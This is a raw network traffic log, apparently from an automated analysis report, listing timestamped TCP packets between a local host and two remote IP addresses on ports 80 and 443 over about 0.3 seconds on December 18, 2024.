Dec 18, 2024 19:08:50.950830936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.950891972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.950952053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.951004028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.954456091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.954514027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.954596996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.954644918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.958178043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.958225012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.959254980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.959306002 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.962011099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.962061882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.962275982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.962326050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.965524912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.965578079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.966089010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.966137886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.969301939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.969348907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.969372988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.969415903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.973048925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.973095894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.973164082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.973208904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.976670027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.976718903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.977473021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.977524996 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.980340004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.980385065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.980561972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.980611086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.984229088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.984266043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.984276056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.984312057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.987807989 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.987860918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.987911940 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.987958908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.991604090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.991652966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.992196083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.992240906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.995213032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.995261908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.995301008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.995346069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.998842001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.998897076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.999008894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.999059916 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.002557993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.002607107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.003082037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.003127098 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.006344080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.006392002 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.006783962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.006831884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.009915113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.009968042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.010214090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.010261059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.013679981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.013734102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.013823032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.013870955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.017529964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.017591953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.017762899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.017823935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.020994902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.021068096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.021104097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.021259069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.024785995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.024835110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.024883032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.024930954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.028455019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.028510094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.028693914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.028748989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.031402111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.031461954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.031604052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.031656027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.034348011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.034404039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.034924984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.034979105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.037348986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.037405968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.037431955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.037481070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.040388107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.040424109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.040446997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.040462971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.043236971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.043287992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.043879032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.043921947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.046403885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.046458960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.048207998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.048259974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.049191952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.049243927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.049499035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.049557924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.052158117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.052213907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.052458048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.052500963 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.055046082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.055107117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.055536985 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.055593014 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.058056116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.058105946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.058413029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.058458090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.060940981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.060992956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.061113119 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.061161995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.064135075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.064189911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.064481020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.064524889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.066955090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.067011118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.067444086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.067492008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.069868088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.069920063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.070414066 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.070456028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.072768927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.072823048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.072997093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.073040962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.075819969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.075896025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.076208115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.076252937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.078665018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.078726053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.079251051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.079293966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.081718922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.081756115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.081773043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.081809044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.084662914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.084713936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.084886074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.084935904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.087326050 CET	49743	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:51.087348938 CET	443	49743	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:51.087430954 CET	49743	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:51.087718010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.087774038 CET	49743	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:51.087789059 CET	443	49743	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:51.087816000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.087820053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.087871075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.090563059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.090620041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.090656042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.090708971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.093640089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.093693972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.093835115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.094060898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.096440077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.096487999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.096649885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.096699953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.099436045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.099492073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.100256920 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.100389957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.102566004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.102631092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.103202105 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.103265047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.105670929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.105726957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.105734110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.105787992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.108273029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.108374119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.108928919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.108997107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.111277103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.111341953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.111344099 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.111430883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.114423990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.114499092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.115094900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.115155935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.117206097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.117268085 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.117597103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.117652893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.120099068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.120165110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.120174885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.120229006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.123374939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.123433113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.123780012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.123831987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.126293898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.126347065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.126512051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.126564980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.129178047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.129215002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.129247904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.129266024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.132050037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.132164955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.132523060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.132575035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.135042906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.135096073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.135291100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.135343075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.138258934 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.138294935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.138318062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.138348103 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.140834093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.140896082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.141060114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.141112089 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.143817902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.143877983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.143893957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.143948078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.146845102 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.146908045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.147491932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.147564888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.149761915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.149827957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.149863005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.149936914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.154614925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.154678106 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.154730082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.154784918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.159923077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.159996986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.160090923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.160136938 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.164465904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.164524078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.164949894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.164999008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.169380903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.169435024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.169692039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.169743061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.174412012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.174463987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.174475908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.174506903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.179327011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.179404020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.180571079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.180639982 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.184804916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.184860945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.185131073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.185185909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.189218044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.189296961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.189322948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.189379930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.194045067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.194116116 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.194190979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.194242954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.198996067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.199054956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.199363947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.199418068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.203943968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.204144001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.204145908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.204201937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.209667921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.209799051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.209866047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.209867001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.211149931 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.211275101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.211383104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.211453915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.214659929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.214709044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.214729071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.214770079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.218261957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.218333006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.218504906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.218576908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.221702099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.221810102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.221973896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.222048998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.225267887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.225306988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.225343943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.225377083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.228542089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.228629112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.228696108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.228769064 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.232295990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.232367039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.232395887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.232574940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.235414982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.235513926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.236170053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.236248016 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.238909960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.239013910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.239031076 CET	80	49739	31.41.244.11	192.168.2.5
